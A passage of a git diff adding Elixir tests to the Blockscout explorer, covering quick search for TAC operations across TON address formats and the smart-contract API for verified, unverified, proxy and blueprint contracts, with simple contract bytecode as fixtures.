"type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response + + request = + get(conn, "/api/v2/search/quick?q=#{URI.encode_www_form("UQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnSko")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response + + request = + get(conn, "/api/v2/search/quick?q=#{URI.encode_www_form("kQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnc9n")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response + + request = + get(conn, "/api/v2/search/quick?q=#{URI.encode_www_form("0QBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2-Zw8yaoxnZKi")}") + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response + + request = + get( + conn, + "/api/v2/search/quick?q=#{URI.encode_www_form("0:67560e31eae4c26bc8e5ae1f185f25a99c9277a31c6b741436f99c3cc9aa319d")}" + ) + + assert response = json_response(request, 200) + + assert [ + %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => "0xcdbc69a2d42c796bb8d6c2db76f366baa93f0ce5badcf8ed766f686b0f734612", + "sender" => %{ + "address" => "EQBnVg4x6uTCa8jlrh8YXyWpnJJ3oxxrdBQ2+Zw8yaoxnXTt", + "blockchain" => "TON" + }, + "timestamp" => "2025-06-05T12:21:11.000Z", + "type" => "ROLLBACK" + }, + "type" => "tac_operation" + } + ] == response + end + + test "finds a lot if TAC operations with transaction", %{conn: conn} do + bypass = Bypass.open() + tac_envs = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, + service_url: "http://localhost:#{bypass.port}", + enabled: true + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Bypass.down(bypass) + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.TACOperationLifecycle, tac_envs) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + transaction = + insert(:transaction, hash: "0x07d74803dd6fd1a684b50494c09e366f3a6be20cd09928ebdf80d178ce41b5a2") + |> with_block() + + operation_id = "#{transaction.hash}" + + tac_response = """ + { + "items": [ + #{for i <- 0..49, do: """ + { + "operation_id": "#{operation_id}", + "sender": null, + "timestamp": "2025-05-14T19:16:#{i}.000Z", + "type": "TON_TAC_TON" + }#{if i == 49, do: "", else: ","} + """} + ], + "next_page_params": { + "page_token": "2025-05-14T19:16:49.000Z", + "page_size": 50 + } + } + """ + + Bypass.expect( + bypass, + "GET", + "/api/v1/tac/operations", + fn conn -> + assert conn.params["q"] == operation_id + + Plug.Conn.resp(conn, 200, tac_response) + end + ) + + request = get(conn, "/api/v2/search/quick?q=#{operation_id}") + assert response = json_response(request, 200) + + correct_response = [ + %{ + "priority" => 0, + "transaction_hash" => "#{transaction.hash}", + "type" => "transaction", + "timestamp" => "#{transaction.block_timestamp}" |> String.replace(" ", "T"), + "url" => "/tx/#{transaction.hash}" + } + | for( + i <- 0..48, + do: %{ + "priority" => 0, + "tac_operation" => %{ + "operation_id" => operation_id, + "sender" => nil, + "timestamp" => "2025-05-14T19:16:#{i}.000Z", + "type" => "TON_TAC_TON" + }, + "type" => "tac_operation" + } + ) + ] + + assert correct_response == response + end + end + + test "returns empty list and don't crash", %{conn: conn} do + request = get(conn, "/api/v2/search/quick?q=qwertyuioiuytrewertyuioiuytrertyuio") + assert [] = json_response(request, 200) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/smart_contract_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/smart_contract_controller_test.exs new file mode 100644 index 000000000000..e21d97f2c70e --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/smart_contract_controller_test.exs @@ -0,0 +1,1931 @@ +defmodule BlockScoutWeb.API.V2.SmartContractControllerTest do + use BlockScoutWeb.ConnCase, async: false + use BlockScoutWeb.ChannelCase, async: false + + import Mox + + alias BlockScoutWeb.AddressContractView + alias Explorer.Chain.{Address, SmartContract} + alias Explorer.TestHelper + alias Plug.Conn + + setup :set_mox_from_context + + setup :verify_on_exit! + + setup_all do + # Create the mock safely with try-catch to avoid errors if already mocked + try do + :meck.new(Explorer.Chain.SmartContract, [:passthrough]) + catch + :error, {:already_started, _pid} -> :ok + end + + on_exit(fn -> + try do + :meck.unload(Explorer.Chain.SmartContract) + catch + # Ignore any errors when unloading + _, _ -> :ok + end + end) + + :ok + end + + describe "/smart-contracts/{address_hash}" do + setup do + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + end + + test "get 404 on non existing SC", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/smart-contracts/#{address.hash}") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/smart-contracts/0x") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get unverified smart-contract info", %{conn: conn} do + address = insert(:contract_address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => nil, + "implementations" => [], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => nil, + "creation_status" => "success", + "conflicting_implementations" => nil + } + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => nil, + "implementations" => [], + "deployed_bytecode" => to_string(address.contract_code), + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_status" => "success", + "conflicting_implementations" => nil + } + end + + test "get unverified smart-contract with failed creation status", %{conn: conn} do + address = insert(:address, contract_code: "0x") + + creation_bytecode = + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + + insert(:transaction, + created_contract_address_hash: address.hash, + input: creation_bytecode + ) + |> with_block(status: :error) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + response = json_response(request, 200) + + assert response == + %{ + "proxy_type" => nil, + "implementations" => [], + "deployed_bytecode" => "0x", + "creation_bytecode" => creation_bytecode, + "creation_status" => "failed", + "conflicting_implementations" => nil + } + end + + test "get an eip1967 proxy contract", %{conn: conn} do + implementation_address = insert(:contract_address) + proxy_address = insert(:contract_address) + + _proxy_smart_contract = + insert(:smart_contract, + address_hash: proxy_address.hash, + contract_code_md5: "123" + ) + + implementation = + insert(:proxy_implementation, + proxy_address_hash: proxy_address.hash, + proxy_type: "eip1967", + address_hashes: [implementation_address.hash], + names: [nil] + ) + + assert implementation.proxy_type == :eip1967 + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(proxy_address.hash)}") + json_response(request, 200) + end + + test "get smart-contract", %{conn: conn} do + lib_address = build(:address) + lib_address_string = to_string(lib_address) + + target_contract = + insert(:smart_contract, + external_libraries: [%{name: "ABC", address_hash: lib_address_string}], + constructor_arguments: + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000002cf6e7c9ec35d0b08a1062e13854f74b1aaae54e" + ) + + insert(:transaction, + created_contract_address_hash: target_contract.address_hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + implementation_address = insert(:address) + + correct_response = %{ + "verified_twin_address_hash" => nil, + "is_verified" => true, + "is_changed_bytecode" => false, + "is_partially_verified" => target_contract.partially_verified, + "is_fully_verified" => true, + "is_verified_via_sourcify" => target_contract.verified_via_sourcify, + "minimal_proxy_address_hash" => nil, + "sourcify_repo_url" => + if(target_contract.verified_via_sourcify, + do: AddressContractView.sourcify_repo_url(target_contract.address_hash, target_contract.partially_verified) + ), + "can_be_visualized_via_sol2uml" => false, + "name" => target_contract && target_contract.name, + "compiler_version" => target_contract.compiler_version, + "optimization_enabled" => target_contract.optimization, + "optimization_runs" => target_contract.optimization_runs, + "evm_version" => target_contract.evm_version, + "verified_at" => target_contract.inserted_at |> to_string() |> String.replace(" ", "T"), + "source_code" => target_contract.contract_source_code, + "file_path" => target_contract.file_path, + "additional_sources" => [], + "compiler_settings" => target_contract.compiler_settings, + "external_libraries" => [%{"name" => "ABC", "address_hash" => Address.checksum(lib_address)}], + "constructor_args" => target_contract.constructor_arguments, + "decoded_constructor_args" => nil, + "deployed_bytecode" => + "0x6080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "abi" => target_contract.abi, + "proxy_type" => "eip1967", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => implementation_address.hash |> Address.checksum() |> to_string(), + "name" => nil + }) + ], + "is_verified_via_eth_bytecode_db" => target_contract.verified_via_eth_bytecode_db, + "is_verified_via_verifier_alliance" => target_contract.verified_via_verifier_alliance, + "language" => target_contract |> SmartContract.language() |> to_string(), + "license_type" => "none", + "certified" => false, + "is_blueprint" => false, + "creation_status" => "success", + "conflicting_implementations" => nil + } + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: implementation_address.hash) + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(target_contract.address_hash)}") + response = json_response(request, 200) + + result_props = correct_response |> Map.keys() + + for prop <- result_props do + assert correct_response[prop] == response[prop] + end + end + + test "get smart-contract with decoded constructor", %{conn: conn} do + lib_address = build(:address) + lib_address_string = to_string(lib_address) + + target_contract = + insert(:smart_contract, + external_libraries: [%{name: "ABC", address_hash: lib_address_string}], + constructor_arguments: + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000002cf6e7c9ec35d0b08a1062e13854f74b1aaae54e", + abi: [ + %{ + "type" => "constructor", + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ], + license_type: 13 + ) + + insert(:transaction, + created_contract_address_hash: target_contract.address_hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + correct_response = %{ + "verified_twin_address_hash" => nil, + "is_verified" => true, + "is_changed_bytecode" => false, + "is_partially_verified" => target_contract.partially_verified, + "is_fully_verified" => true, + "is_verified_via_sourcify" => target_contract.verified_via_sourcify, + "minimal_proxy_address_hash" => nil, + "sourcify_repo_url" => + if(target_contract.verified_via_sourcify, + do: AddressContractView.sourcify_repo_url(target_contract.address_hash, target_contract.partially_verified) + ), + "can_be_visualized_via_sol2uml" => false, + "name" => target_contract && target_contract.name, + "compiler_version" => target_contract.compiler_version, + "optimization_enabled" => target_contract.optimization, + "optimization_runs" => target_contract.optimization_runs, + "evm_version" => target_contract.evm_version, + "verified_at" => target_contract.inserted_at |> to_string() |> String.replace(" ", "T"), + "source_code" => target_contract.contract_source_code, + "file_path" => target_contract.file_path, + "additional_sources" => [], + "compiler_settings" => target_contract.compiler_settings, + "external_libraries" => [%{"name" => "ABC", "address_hash" => Address.checksum(lib_address)}], + "constructor_args" => target_contract.constructor_arguments, + "decoded_constructor_args" => [ + ["0x0000000000000000000000000000000000000000", %{"name" => "_proxyStorage", "type" => "address"}], + [ + Address.checksum("0x2Cf6E7c9eC35D0B08A1062e13854f74b1aaae54e"), + %{"name" => "_implementationAddress", "type" => "address"} + ] + ], + "deployed_bytecode" => + "0x6080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "abi" => target_contract.abi, + "proxy_type" => nil, + "implementations" => [], + "is_verified_via_eth_bytecode_db" => target_contract.verified_via_eth_bytecode_db, + "is_verified_via_verifier_alliance" => target_contract.verified_via_verifier_alliance, + "language" => target_contract |> SmartContract.language() |> to_string(), + "license_type" => "gnu_agpl_v3", + "certified" => false, + "is_blueprint" => false, + "conflicting_implementations" => nil + } + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(target_contract.address_hash)}") + response = json_response(request, 200) + + result_props = correct_response |> Map.keys() + + for prop <- result_props do + assert correct_response[prop] == response[prop] + end + end + + test "get smart-contract data from bytecode twin without constructor args", %{conn: conn} do + lib_address = build(:address) + lib_address_string = to_string(lib_address) + + target_contract = + insert(:smart_contract, + external_libraries: [%{name: "ABC", address_hash: lib_address_string}], + constructor_arguments: + "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000002cf6e7c9ec35d0b08a1062e13854f74b1aaae54e", + abi: [ + %{ + "type" => "constructor", + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ] + ) + + insert(:transaction, + created_contract_address_hash: target_contract.address_hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + address = insert(:contract_address) + + insert(:transaction, + created_contract_address_hash: address.hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + correct_response = %{ + "verified_twin_address_hash" => Address.checksum(target_contract.address_hash), + "is_verified" => false, + "is_changed_bytecode" => false, + "is_partially_verified" => false, + "is_fully_verified" => false, + "is_verified_via_sourcify" => false, + "minimal_proxy_address_hash" => nil, + "sourcify_repo_url" => nil, + "can_be_visualized_via_sol2uml" => false, + "name" => target_contract && target_contract.name, + "compiler_version" => target_contract.compiler_version, + "optimization_enabled" => target_contract.optimization, + "optimization_runs" => target_contract.optimization_runs, + "evm_version" => target_contract.evm_version, + "verified_at" => target_contract.inserted_at |> to_string() |> String.replace(" ", "T"), + "source_code" => target_contract.contract_source_code, + "file_path" => target_contract.file_path, + "additional_sources" => [], + "compiler_settings" => target_contract.compiler_settings, + "external_libraries" => [%{"name" => "ABC", "address_hash" => Address.checksum(lib_address)}], + "constructor_args" => nil, + "decoded_constructor_args" => nil, + "deployed_bytecode" => + "0x6080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "abi" => target_contract.abi, + "proxy_type" => nil, + "implementations" => [], + "is_verified_via_eth_bytecode_db" => target_contract.verified_via_eth_bytecode_db, + "is_verified_via_verifier_alliance" => target_contract.verified_via_verifier_alliance, + "language" => target_contract |> SmartContract.language() |> to_string(), + "license_type" => "none", + "certified" => false, + "is_blueprint" => false, + "conflicting_implementations" => nil + } + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(address.hash)}") + response = json_response(request, 200) + + result_props = correct_response |> Map.keys() + + for prop <- result_props do + assert correct_response[prop] == response[prop] + end + end + + test "doesn't get smart-contract multiple additional sources from EIP-1167 implementation", %{conn: conn} do + implementation_contract = + insert(:smart_contract, + external_libraries: [], + constructor_arguments: "", + abi: [ + %{ + "type" => "constructor", + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ], + license_type: 9 + ) + + insert(:smart_contract_additional_source, + file_name: "test1", + contract_source_code: "test2", + address_hash: implementation_contract.address_hash + ) + + insert(:smart_contract_additional_source, + file_name: "test3", + contract_source_code: "test4", + address_hash: implementation_contract.address_hash + ) + + implementation_contract_address_hash_string = + Base.encode16(implementation_contract.address_hash.bytes, case: :lower) + + proxy_transaction_input = + "0x11b804ab000000000000000000000000" <> + implementation_contract_address_hash_string <> + "000000000000000000000000000000000000000000000000000000000000006035323031313537360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000284e159163400000000000000000000000034420c13696f4ac650b9fafe915553a1abcd7dd30000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000018000000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000220000000000000000000000000ff5ae9b0a7522736299d797d80b8fc6f31d61100000000000000000000000000ff5ae9b0a7522736299d797d80b8fc6f31d6110000000000000000000000000000000000000000000000000000000000000003e8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034420c13696f4ac650b9fafe915553a1abcd7dd300000000000000000000000000000000000000000000000000000000000000184f7074696d69736d2053756273637269626572204e465473000000000000000000000000000000000000000000000000000000000000000000000000000000054f504e46540000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000037697066733a2f2f516d66544e504839765651334b5952346d6b52325a6b757756424266456f5a5554545064395538666931503332752f300000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000c82bbe41f2cf04e3a8efa18f7032bdd7f6d98a81000000000000000000000000efba8a2a82ec1fb1273806174f5e28fbb917cf9500000000000000000000000000000000000000000000000000000000" + + proxy_deployed_bytecode = + "0x363d3d373d3d3d363d73" <> implementation_contract_address_hash_string <> "5af43d82803e903d91602b57fd5bf3" + + proxy_address = + insert(:contract_address, + contract_code: proxy_deployed_bytecode + ) + + insert(:transaction, + created_contract_address_hash: proxy_address.hash, + input: proxy_transaction_input + ) + |> with_block(status: :ok) + + correct_response = %{ + "deployed_bytecode" => proxy_deployed_bytecode, + "creation_bytecode" => proxy_transaction_input, + "proxy_type" => "eip1167", + "implementations" => [ + prepare_implementation(%{ + "address_hash" => Address.checksum(implementation_contract.address_hash), + "name" => implementation_contract.name + }) + ], + "conflicting_implementations" => nil + } + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(proxy_address.hash)}") + response = json_response(request, 200) + + result_props = correct_response |> Map.keys() + + for prop <- result_props do + assert correct_response[prop] == response[prop] + end + end + + test "get smart-contract which is blueprint", %{conn: conn} do + target_contract = + insert(:smart_contract, + is_blueprint: true + ) + + insert(:transaction, + created_contract_address_hash: target_contract.address_hash, + input: + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029" + ) + |> with_block(status: :ok) + + correct_response = %{ + "verified_twin_address_hash" => nil, + "is_verified" => true, + "is_changed_bytecode" => false, + "is_partially_verified" => target_contract.partially_verified, + "is_fully_verified" => true, + "is_verified_via_sourcify" => target_contract.verified_via_sourcify, + "minimal_proxy_address_hash" => nil, + "sourcify_repo_url" => + if(target_contract.verified_via_sourcify, + do: AddressContractView.sourcify_repo_url(target_contract.address_hash, target_contract.partially_verified) + ), + "can_be_visualized_via_sol2uml" => false, + "name" => target_contract && target_contract.name, + "compiler_version" => target_contract.compiler_version, + "optimization_enabled" => target_contract.optimization, + "optimization_runs" => target_contract.optimization_runs, + "evm_version" => target_contract.evm_version, + "verified_at" => target_contract.inserted_at |> to_string() |> String.replace(" ", "T"), + "source_code" => target_contract.contract_source_code, + "file_path" => target_contract.file_path, + "additional_sources" => [], + "compiler_settings" => target_contract.compiler_settings, + "external_libraries" => target_contract.external_libraries, + "constructor_args" => target_contract.constructor_arguments, + "decoded_constructor_args" => nil, + "deployed_bytecode" => + "0x6080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "creation_bytecode" => + "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582061b7676067d537e410bb704932a9984739a959416170ea17bda192ac1218d2790029", + "abi" => target_contract.abi, + "proxy_type" => nil, + "implementations" => [], + "is_verified_via_eth_bytecode_db" => target_contract.verified_via_eth_bytecode_db, + "is_verified_via_verifier_alliance" => target_contract.verified_via_verifier_alliance, + "language" => target_contract |> SmartContract.language() |> to_string(), + "license_type" => "none", + "certified" => false, + "is_blueprint" => true, + "creation_status" => "success", + "conflicting_implementations" => nil + } + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + request = get(conn, "/api/v2/smart-contracts/#{Address.checksum(target_contract.address_hash)}") + response = json_response(request, 200) + + result_props = correct_response |> Map.keys() + + for prop <- result_props do + assert correct_response[prop] == response[prop] + end + end + end + + test "doesn't get smart-contract implementation for 'Clones with immutable arguments' pattern", %{conn: conn} do + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + implementation_contract = + insert(:smart_contract, + external_libraries: [], + constructor_arguments: "", + abi: [ + %{ + "type" => "constructor", + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + }, + %{ + "constant" => true, + "inputs" => [], + "name" => "get", + "outputs" => [%{"name" => "", "type" => "uint256"}], + "payable" => false, + "stateMutability" => "view", + "type" => "function" + } + ], + license_type: 9 + ) + + insert(:smart_contract_additional_source, + file_name: "test1", + contract_source_code: "test2", + address_hash: implementation_contract.address_hash + ) + + implementation_contract_address_hash_string = + Base.encode16(implementation_contract.address_hash.bytes, case: :lower) + + proxy_transaction_input = + "0x684fbe55000000000000000000000000af1caf51d49b0e63d1ff7e5d4ed6ea26d15f3f9d000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000003" + + proxy_deployed_bytecode = + "0x3d3d3d3d363d3d3761003f603736393661003f013d73" <> + 